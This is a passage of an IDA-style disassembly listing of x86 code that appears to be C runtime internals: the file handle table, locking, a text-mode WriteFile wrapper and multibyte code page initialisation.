		jz	short loc_4321B9
		push	esi
		call	sub_42F2D9
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx


loc_4321B9:				; CODE XREF: sub_432191+6j
					; sub_432191+10j
		pop	esi
		retn
sub_432191	endp


; =============== S U B	R O U T	I N E =======================================



sub_4321BB	proc near		; CODE XREF: sub_4336B9:loc_433831p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	12h
		or	edi, 0FFFFFFFFh
		call	sub_42DAEF
		xor	ebx, ebx
		pop	ecx
		mov	[esp+18h+var_8], ebx
		mov	[esp+18h+var_4], ebx
		mov	ebp, offset dword_676EE0


loc_4321DB:				; CODE XREF: sub_4321BB+BCj
		mov	esi, [ebp+0]
		test	esi, esi
		jz	loc_43227F
		lea	eax, [esi+480h]


loc_4321EC:				; CODE XREF: sub_4321BB+8Aj
		cmp	esi, eax
		jnb	short loc_432264
		test	byte ptr [esi+4], 1
		jnz	short loc_43223A
		cmp	dword ptr [esi+8], 0
		jnz	short loc_43221F
		push	11h
		call	sub_42DAEF
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_432217
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_437158	; InitializeCriticalSection
		inc	dword ptr [esi+8]


loc_432217:				; CODE XREF: sub_4321BB+4Dj
		push	11h
		call	sub_42DB50
		pop	ecx


loc_43221F:				; CODE XREF: sub_4321BB+3Fj
		lea	ebx, [esi+0Ch]
		push	ebx
		call	dword_4370CC	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_432247
		push	ebx
		call	dword_437164	; RtlLeaveCriticalSection
		mov	ebx, [esp+18h+var_8]


loc_43223A:				; CODE XREF: sub_4321BB+39j
		mov	eax, [ebp+0]
		add	esi, 24h
		add	eax, 480h
		jmp	short loc_4321EC
; ---------------------------------------------------------------------------


loc_432247:				; CODE XREF: sub_4321BB+72j
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, [ebp+0]
		push	24h
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, eax
		add	edi, [esp+18h+var_4]
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4322CD
		mov	ebx, [esp+18h+var_8]


loc_432264:				; CODE XREF: sub_4321BB+33j
		add	[esp+18h+var_4], 20h
		add	ebp, 4
		inc	ebx
		cmp	ebp, offset dword_676FE0
		mov	[esp+18h+var_8], ebx
		jl	loc_4321DB
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_43227F:				; CODE XREF: sub_4321BB+25j
		mov	esi, 480h
		push	esi
		call	sub_4297B8
		test	eax, eax
		pop	ecx
		jz	short loc_4322CD
		add	dword_676FE0, 20h
		lea	ecx, ds:676EE0h[ebx*4]
		lea	edx, [eax+480h]
		mov	[ecx], eax


loc_4322A5:				; CODE XREF: sub_4321BB+104j
		cmp	eax, edx
		jnb	short loc_4322C1
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 24h
		add	edx, esi
		jmp	short loc_4322A5
; ---------------------------------------------------------------------------


loc_4322C1:				; CODE XREF: sub_4321BB+ECj
		shl	ebx, 5
		mov	edi, ebx
		push	edi
		call	sub_43241B
		pop	ecx


loc_4322CD:				; CODE XREF: sub_4321BB+A3j
					; sub_4321BB+C2j ...
		push	12h
		call	sub_42DB50
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4321BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322DE	proc near		; CODE XREF: sub_4336B9+1FDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_676FE0
		push	edi
		jnb	short loc_432341
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:676EE0h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		cmp	dword ptr [eax+esi], 0FFFFFFFFh
		jnz	short loc_432341
		cmp	dword_451144, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_432337
		sub	ecx, 0
		jz	short loc_43232E
		dec	ecx
		jz	short loc_432329
		dec	ecx
		jnz	short loc_432337
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_432331
; ---------------------------------------------------------------------------


loc_432329:				; CODE XREF: sub_4322DE+41j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_432331
; ---------------------------------------------------------------------------


loc_43232E:				; CODE XREF: sub_4322DE+3Ej
		push	ebx
		push	0FFFFFFF6h


loc_432331:				; CODE XREF: sub_4322DE+49j
					; sub_4322DE+4Ej
		call	dword_4371DC	; SetStdHandle


loc_432337:				; CODE XREF: sub_4322DE+39j
					; sub_4322DE+44j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_432357
; ---------------------------------------------------------------------------


loc_432341:				; CODE XREF: sub_4322DE+Cj
					; sub_4322DE+2Bj
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_432357:				; CODE XREF: sub_4322DE+61j
		pop	edi
		pop	esi
		retn
sub_4322DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_43235A	proc near		; CODE XREF: sub_42F1FD+51p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_676FE0
		push	edi
		jnb	short loc_4323C0
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:676EE0h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_4323C0
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4323C0
		cmp	dword_451144, 1
		jnz	short loc_4323B6
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_4323AD
		dec	ecx
		jz	short loc_4323A8
		dec	ecx
		jnz	short loc_4323B6
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_4323B0
; ---------------------------------------------------------------------------


loc_4323A8:				; CODE XREF: sub_43235A+44j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_4323B0
; ---------------------------------------------------------------------------


loc_4323AD:				; CODE XREF: sub_43235A+41j
		push	eax
		push	0FFFFFFF6h


loc_4323B0:				; CODE XREF: sub_43235A+4Cj
					; sub_43235A+51j
		call	dword_4371DC	; SetStdHandle


loc_4323B6:				; CODE XREF: sub_43235A+3Bj
					; sub_43235A+47j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4323D6
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: sub_43235A+Cj
					; sub_43235A+2Dj ...
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_4323D6:				; CODE XREF: sub_43235A+64j
		pop	edi
		pop	esi
		retn
sub_43235A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4323D9	proc near		; CODE XREF: sub_42F1FD+7p
					; sub_42F1FD+1Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_676FE0
		jnb	short loc_432404
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	eax, [eax+eax*8]
		mov	ecx, dword_676EE0[ecx*4]
		test	byte ptr [ecx+eax*4+4],	1
		lea	eax, [ecx+eax*4]
		jz	short loc_432404
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_432404:				; CODE XREF: sub_4323D9+Aj
					; sub_4323D9+26j
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		retn
sub_4323D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_43241B	proc near		; CODE XREF: sub_42BEF9+6p
					; sub_42F1A0+2Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		push	esi
		push	edi
		mov	esi, dword_676EE0[ecx*4]
		lea	ebx, ds:676EE0h[ecx*4]
		lea	edi, [eax+eax*8]
		shl	edi, 2
		add	esi, edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_432469
		push	11h
		call	sub_42DAEF
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_432461
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_437158	; InitializeCriticalSection
		inc	dword ptr [esi+8]


loc_432461:				; CODE XREF: sub_43241B+37j
		push	11h
		call	sub_42DB50
		pop	ecx


loc_432469:				; CODE XREF: sub_43241B+29j
		mov	eax, [ebx]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	dword_4370CC	; RtlEnterCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43241B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43247A	proc near		; CODE XREF: sub_42BEF9+80p
					; sub_42F1A0+38p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	eax, [eax+eax*8]
		mov	ecx, dword_676EE0[ecx*4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	dword_437164	; RtlLeaveCriticalSection
		retn
sub_43247A	endp


; =============== S U B	R O U T	I N E =======================================



sub_43249C	proc near		; CODE XREF: sub_42C3E2+A2p
					; sub_42DB65+95p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_676FE0
		jnb	short loc_4324E9
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_676EE0[ecx*4]
		lea	eax, [eax+eax*8]
		test	byte ptr [ecx+eax*4+4],	1
		jz	short loc_4324E9
		push	edi
		push	esi
		call	sub_43241B
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	esi
		call	sub_432501
		push	esi
		mov	edi, eax
		call	sub_43247A
		add	esp, 14h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E9:				; CODE XREF: sub_43249C+Bj
					; sub_43249C+26j
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_43249C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432501	proc near		; CODE XREF: sub_42BEF9+22p
					; sub_42BEF9+2Ep ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_432521


loc_43251A:				; CODE XREF: sub_432501+169j
		xor	eax, eax
		jmp	loc_432687
; ---------------------------------------------------------------------------


loc_432521:				; CODE XREF: sub_432501+17j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		lea	ebx, ds:676EE0h[eax*4]
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 20h
		jz	short loc_432551
		push	2
		push	edi
		push	[ebp+arg_0]
		call	sub_42F91D
		add	esp, 0Ch


loc_432551:				; CODE XREF: sub_432501+40j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_432620
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_43265B


loc_432571:				; CODE XREF: sub_432501+E4j
		lea	eax, [ebp+var_414]


loc_432577:				; CODE XREF: sub_432501+A8j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4325AB
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_432596
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_432596:				; CODE XREF: sub_432501+8Cj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_432577


loc_4325AB:				; CODE XREF: sub_432501+7Fj
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_437078	; WriteFile
		test	eax, eax
		jz	short loc_432615
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4325E7
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_432571


loc_4325E7:				; CODE XREF: sub_432501+D9j
					; sub_432501+11Dj
		xor	edi, edi


loc_4325E9:				; CODE XREF: sub_432501+13Fj
					; sub_432501+14Aj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_432684
		cmp	[ebp+arg_0], edi
		jz	short loc_43265B
		push	5
		pop	esi
		cmp	[ebp+arg_0], esi
		jnz	short loc_43264D
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		mov	[eax], esi
		jmp	short loc_432656
; ---------------------------------------------------------------------------


loc_432615:				; CODE XREF: sub_432501+CFj
		call	dword_437170	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4325E7
; ---------------------------------------------------------------------------


loc_432620:				; CODE XREF: sub_432501+58j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_437078	; WriteFile
		test	eax, eax
		jz	short loc_432642
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4325E9
; ---------------------------------------------------------------------------


loc_432642:				; CODE XREF: sub_432501+134j
		call	dword_437170	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4325E9
; ---------------------------------------------------------------------------


loc_43264D:				; CODE XREF: sub_432501+FEj
		push	[ebp+arg_0]
		call	sub_42F0A6
		pop	ecx


loc_432656:				; CODE XREF: sub_432501+112j
					; sub_432501+181j
		or	eax, 0FFFFFFFFh
		jmp	short loc_432687
; ---------------------------------------------------------------------------


loc_43265B:				; CODE XREF: sub_432501+6Aj
					; sub_432501+F6j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_432670
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_43251A


loc_432670:				; CODE XREF: sub_432501+161j
		call	sub_42F119
		mov	dword ptr [eax], 1Ch
		call	sub_42F122
		mov	[eax], edi
		jmp	short loc_432656
; ---------------------------------------------------------------------------


loc_432684:				; CODE XREF: sub_432501+EDj
		sub	eax, [ebp+var_10]


loc_432687:				; CODE XREF: sub_432501+1Bj
					; sub_432501+158j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_432501	endp


; =============== S U B	R O U T	I N E =======================================



sub_43268C	proc near		; CODE XREF: sub_4326BD+4p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_42C1D4
		dec	dword ptr [esi+4]
		pop	ecx
		js	short loc_4326A8
		mov	eax, [esi]
		movzx	edi, byte ptr [eax]
		inc	eax
		mov	[esi], eax
		jmp	short loc_4326B1
; ---------------------------------------------------------------------------


loc_4326A8:				; CODE XREF: sub_43268C+10j
		push	esi
		call	sub_42F3E2
		pop	ecx
		mov	edi, eax


loc_4326B1:				; CODE XREF: sub_43268C+1Aj
		push	esi
		call	sub_42C226
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_43268C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4326BD	proc near		; CODE XREF: sub_42BF84+5p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_43268C
		pop	ecx
		retn
sub_4326BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4326C8	proc near		; CODE XREF: sub_432AA0+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	19h
		call	sub_42DAEF
		push	[ebp+arg_0]
		call	sub_432875	; GetOEMCP
		mov	ebx, eax
		pop	ecx
		cmp	ebx, dword_676C9C
		pop	ecx
		mov	[ebp+arg_0], ebx
		jnz	short loc_4326F6


loc_4326EF:				; CODE XREF: sub_4326C8+196j
		xor	esi, esi
		jmp	loc_432866
; ---------------------------------------------------------------------------


loc_4326F6:				; CODE XREF: sub_4326C8+25j
		test	ebx, ebx
		jz	loc_432854
		xor	edx, edx
		mov	eax, offset dword_4539A0


loc_432705:				; CODE XREF: sub_4326C8+4Aj
		cmp	[eax], ebx
		jz	short loc_43277D
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_453A90
		jl	short loc_432705
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		call	dword_4371D8	; GetCPInfo
		push	1
		pop	esi
		cmp	eax, esi
		jnz	loc_43284B
		push	40h
		and	dword_676EC4, 0
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_676DC0
		cmp	[ebp+var_18], esi
		rep stosd
		stosb
		mov	dword_676C9C, ebx
		jbe	loc_432838
		cmp	[ebp+var_12], 0
		jz	loc_432813
		lea	ecx, [ebp+var_11]


loc_43275A:				; CODE XREF: sub_4326C8+145j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_432813
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_43276B:				; CODE XREF: sub_4326C8+B3j
		cmp	eax, edx
		ja	loc_432807
		or	byte_676DC1[eax], 4
		inc	eax
		jmp	short loc_43276B
; ---------------------------------------------------------------------------


loc_43277D:				; CODE XREF: sub_4326C8+3Fj
		and	[ebp+var_4], 0
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_676DC0
		lea	esi, [edx+edx*2]
		rep stosd
		shl	esi, 4
		stosb
		lea	ebx, dword_4539B0[esi]


loc_43279A:				; CODE XREF: sub_4326C8+10Fj
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_4327CD


loc_4327A1:				; CODE XREF: sub_4326C8+103j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_4327CD
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_4327C6
		mov	edx, [ebp+var_4]
		mov	dl, byte_453998[edx]


loc_4327BB:				; CODE XREF: sub_4326C8+FCj
		or	byte_676DC1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_4327BB


loc_4327C6:				; CODE XREF: sub_4326C8+E8j
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_4327A1


loc_4327CD:				; CODE XREF: sub_4326C8+D7j
					; sub_4326C8+DEj
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_43279A
		mov	eax, [ebp+arg_0]
		mov	dword_676CAC, 1
		push	eax
		mov	dword_676C9C, eax
		call	sub_4328BF
		lea	esi, dword_4539A4[esi]
		mov	edi, offset dword_676CA0
		movsd
		movsd
		pop	ecx
		mov	dword_676EC4, eax
		movsd
		jmp	short loc_432859
; ---------------------------------------------------------------------------


loc_432807:				; CODE XREF: sub_4326C8+A5j
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_43275A


loc_432813:				; CODE XREF: sub_4326C8+89j
					; sub_4326C8+96j
		mov	eax, esi


loc_432815:				; CODE XREF: sub_4326C8+15Aj
		or	byte_676DC1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_432815
		push	ebx
		call	sub_4328BF
		pop	ecx
		mov	dword_676EC4, eax
		mov	dword_676CAC, esi
		jmp	short loc_43283F
; ---------------------------------------------------------------------------


loc_432838:				; CODE XREF: sub_4326C8+7Fj
		and	dword_676CAC, 0


loc_43283F:				; CODE XREF: sub_4326C8+16Ej
		xor	eax, eax
		mov	edi, offset dword_676CA0
		stosd
		stosd
		stosd
		jmp	short loc_432859
; ---------------------------------------------------------------------------


loc_43284B:				; CODE XREF: sub_4326C8+5Cj
		cmp	dword_676A20, 0
		jz	short loc_432863


loc_432854:				; CODE XREF: sub_4326C8+30j
		call	sub_4328F2


loc_432859:				; CODE XREF: sub_4326C8+13Dj
					; sub_4326C8+181j
		call	sub_43291B
		jmp	loc_4326EF
; ---------------------------------------------------------------------------


loc_432863:				; CODE XREF: sub_4326C8+18Aj
		or	esi, 0FFFFFFFFh


loc_432866:				; CODE XREF: sub_4326C8+29j
		push	19h
		call	sub_42DB50
		pop	ecx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4326C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_432875	proc near		; CODE XREF: sub_4326C8+13p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_676A20, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_432895
		mov	dword_676A20, 1
		jmp	dword_4371D0
; ---------------------------------------------------------------------------


loc_432895:				; CODE XREF: sub_432875+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_4328AA
		mov	dword_676A20, 1
		jmp	dword_4371D4
; ---------------------------------------------------------------------------


loc_4328AA:				; CODE XREF: sub_432875+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_4328BE
		mov	eax, dword_6769B8
		mov	dword_676A20, 1

locret_4328BE:				; CODE XREF: sub_432875+38j
		retn
sub_432875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4328BF	proc near		; CODE XREF: sub_4326C8+124p
					; sub_4326C8+15Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4328EC
		sub	eax, 4
		jz	short loc_4328E6
		sub	eax, 0Dh
		jz	short loc_4328E0
		dec	eax
		jz	short loc_4328DA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328DA:				; CODE XREF: sub_4328BF+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4328E0:				; CODE XREF: sub_4328BF+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4328E6:				; CODE XREF: sub_4328BF+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4328EC:				; CODE XREF: sub_4328BF+9j
		mov	eax, 411h
		retn
sub_4328BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4328F2	proc near		; CODE XREF: sub_4326C8:loc_432854p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_676DC0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_676CA0
		mov	dword_676C9C, eax
		mov	dword_676CAC, eax
		mov	dword_676EC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4328F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43291B	proc near		; CODE XREF: sub_4326C8:loc_432859p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_676C9C
		call	dword_4371D8	; GetCPInfo
		cmp	eax, 1
		jnz	loc_432A54
		xor	eax, eax
		mov	esi, 100h


loc_432945:				; CODE XREF: sub_43291B+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_432945
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_432996
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_432964:				; CODE XREF: sub_43291B+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_43298B
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_43298B:				; CODE XREF: sub_43291B+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_432964
		pop	edi
		pop	ebx


loc_432996:				; CODE XREF: sub_43291B+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_676EC4
		push	dword_676C9C
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4334DD
		push	0
		lea	eax, [ebp+var_214]
		push	dword_676C9C
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_676EC4
		call	sub_430D9F
		push	0
		lea	eax, [ebp+var_314]
		push	dword_676C9C
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_676EC4
		call	sub_430D9F
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_432A11:				; CODE XREF: sub_43291B+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_432A2F
		or	byte_676DC1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_432A27:				; CODE XREF: sub_43291B+127j
		mov	byte_676CC0[eax], dl
		jmp	short loc_432A4B
; ---------------------------------------------------------------------------


loc_432A2F:				; CODE XREF: sub_43291B+FCj
		test	dl, 2
		jz	short loc_432A44
		or	byte_676DC1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_432A27
; ---------------------------------------------------------------------------


loc_432A44:				; CODE XREF: sub_43291B+117j
		and	byte_676CC0[eax], 0


loc_432A4B:				; CODE XREF: sub_43291B+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_432A11
		jmp	short loc_432A9D
; ---------------------------------------------------------------------------


loc_432A54:				; CODE XREF: sub_43291B+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_432A5B:				; CODE XREF: sub_43291B+180j
		cmp	eax, 41h
		jb	short loc_432A79
		cmp	eax, 5Ah
		ja	short loc_432A79
		or	byte_676DC1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_432A71:				; CODE XREF: sub_43291B+174j
		mov	byte_676CC0[eax], cl
		jmp	short loc_432A98
; ---------------------------------------------------------------------------


loc_432A79:				; CODE XREF: sub_43291B+143j
					; sub_43291B+148j
		cmp	eax, 61h
		jb	short loc_432A91
		cmp	eax, 7Ah
		ja	short loc_432A91
		or	byte_676DC1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_432A71
; ---------------------------------------------------------------------------


loc_432A91:				; CODE XREF: sub_43291B+161j
					; sub_43291B+166j
		and	byte_676CC0[eax], 0


loc_432A98:				; CODE XREF: sub_43291B+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_432A5B


loc_432A9D:				; CODE XREF: sub_43291B+137j
		pop	esi
		leave
		retn
sub_43291B	endp


; =============== S U B	R O U T	I N E =======================================



sub_432AA0	proc near		; CODE XREF: sub_432BD7+9p
					; sub_432C2F+Dp ...
		cmp	dword_676ECC, 0
		jnz	short locret_432ABB
		push	0FFFFFFFDh
		call	sub_4326C8
		pop	ecx
		mov	dword_676ECC, 1

locret_432ABB:				; CODE XREF: sub_432AA0+7j
		retn
sub_432AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432ABC	proc near		; CODE XREF: sub_42BF95+2Bp
					; sub_42BF95+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_676CAC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_432AE0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_429D10
		add	esp, 0Ch
		jmp	short loc_432B53
; ---------------------------------------------------------------------------


loc_432AE0:				; CODE XREF: sub_432ABC+11j
		push	esi
		push	19h
		call	sub_42DAEF
		mov	edx, [ebp+arg_8]
		pop	ecx
		test	edx, edx
		jz	short loc_432B2D
		mov	ecx, [ebp+arg_4]


loc_432AF3:				; CODE XREF: sub_432ABC+63j
		mov	al, [ecx]
		dec	edx
